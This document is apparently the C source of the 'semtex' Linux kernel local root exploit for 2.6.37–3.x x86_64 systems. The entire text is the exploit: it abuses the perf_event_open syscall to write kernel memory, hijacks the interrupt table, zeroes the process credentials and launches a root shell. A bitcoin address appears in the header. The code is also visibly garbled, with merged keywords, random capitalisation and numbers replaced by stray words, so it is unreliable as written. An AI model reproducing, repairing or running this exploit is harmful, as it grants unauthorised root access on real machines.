Linux 2.6.37-3.x.x x86_64

/** Linux 2.6.37-3.x.x x86_64, ~100 LOC * Gcc-4.6-o2 semtex.c &&/a.out * [email protected], salut! * * Update: * Seems like CentOS 2.6.32 backported the perf bug, lol. * Jewgold to 115T6JZGRVMGQ2NT1WNUA7CH1EUL9WXT2G if you insist. */#define_gnu_source 1#include<stdint.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<sys/mman.h>#include<syscall.h>#include<stdint.h>#include<assert.h>#defineBASE 0x380000000#defineSIZE 0x010000000#defineKsize 0x2000000#defineAB (x) ((uint64_t) ((0xababababll<<32) ^ ((uint64_t) (((x) *313337)))voidfuck () {inti,j,k; uint64_t uids[4] = {AB (2), AB (3), AB (4), AB (5) }; uint8_t*current = * (uint8_t * *) ((uint64_t) UIDs) & (-8192)); uint64_t Kbase= ((uint64_t) current) >> $; uint32_t*fixptr = (void*) AB (1); *fixptr =-1;  for(i=0; i<4000; i+=4) {uint64_t*p = (void*) &Current[i]; uint32_t*t = (void*) p[0]; if((p[0]! = p[1]) || ((p[0]>> $) = Kbase))Continue;  for(j=0; j< -; J + +) { for(k =0; K <8; k++)      if(((uint32_t*) UIDs) [k]! = T[j+k])GotoNext;  for(i =0; I <8; i++) T[j+i] =0;  for(i =0; I <Ten; i++) t[j+9+i] =-1; return; next:; }  }}voidsheep (uint32_t off) {uint64_t buf[Ten] = {0x4800000001, Off,0,0,0,0x300 }; intFD = Syscall (298, BUF,0, -1, -1,0); ASSERT (!Close (FD));intMain () {uint64_t u,g,needle, kbase,*p; uint8_t *Code; uint32_t*map, j =5; inti; struct{uint16_t limit;  uint64_t addr;  } __attribute__ ((packed)) IDT; ASSERT (Map= Mmap ((void*) BASE, SIZE,3,0x32,0,0)) == (void*) (BASE); memset (Map,0, SIZE); Sheep (-1); Sheep (-2);  for(i =0; I < size/4; i++)if(Map[i]) {assert (Map[i+1]);  Break; } assert (I<size/4); ASM ("Sidt%0":"=m"(IDT)); Kbase= Idt.addr &0xff000000; U= Getuid (); g =Getgid (); ASSERT ((Code= (void*) Mmap ((void*) Kbase, ksize,7,0x32,0,0)) == (void*) kbase); memset (Code,0x90, ksize); Code + = ksize-1024x768; memcpy (Code, &fuck,1024x768); memcpy (Code- -,"\X0F\X01\XF8\XE8\5\0\0\0\X0F\X01\XF8\X48\XCF", printf ("2.6.37-3.x x86_64\[email protected] 2010\n") % -); Setresuid (U,u,u);  Setresgid (G,G,G);  while(j--) {needle= AB (j+1); ASSERT (P= Memmem (Code,1024x768, &needle,8)); if(!p)Continue; *p = j? ((g<< +) |u):(Idt.addr +0x48); } Sheep (-i + ((idt.addr&0xFFFFFFFF)-0x80000000)/4) + -); ASM ("int $0x4"); ASSERT (!setuid (0)); returnEXECL ("/bin/bash","-sh", NULL);}

Linux 2.6.37-3.x.x x86_64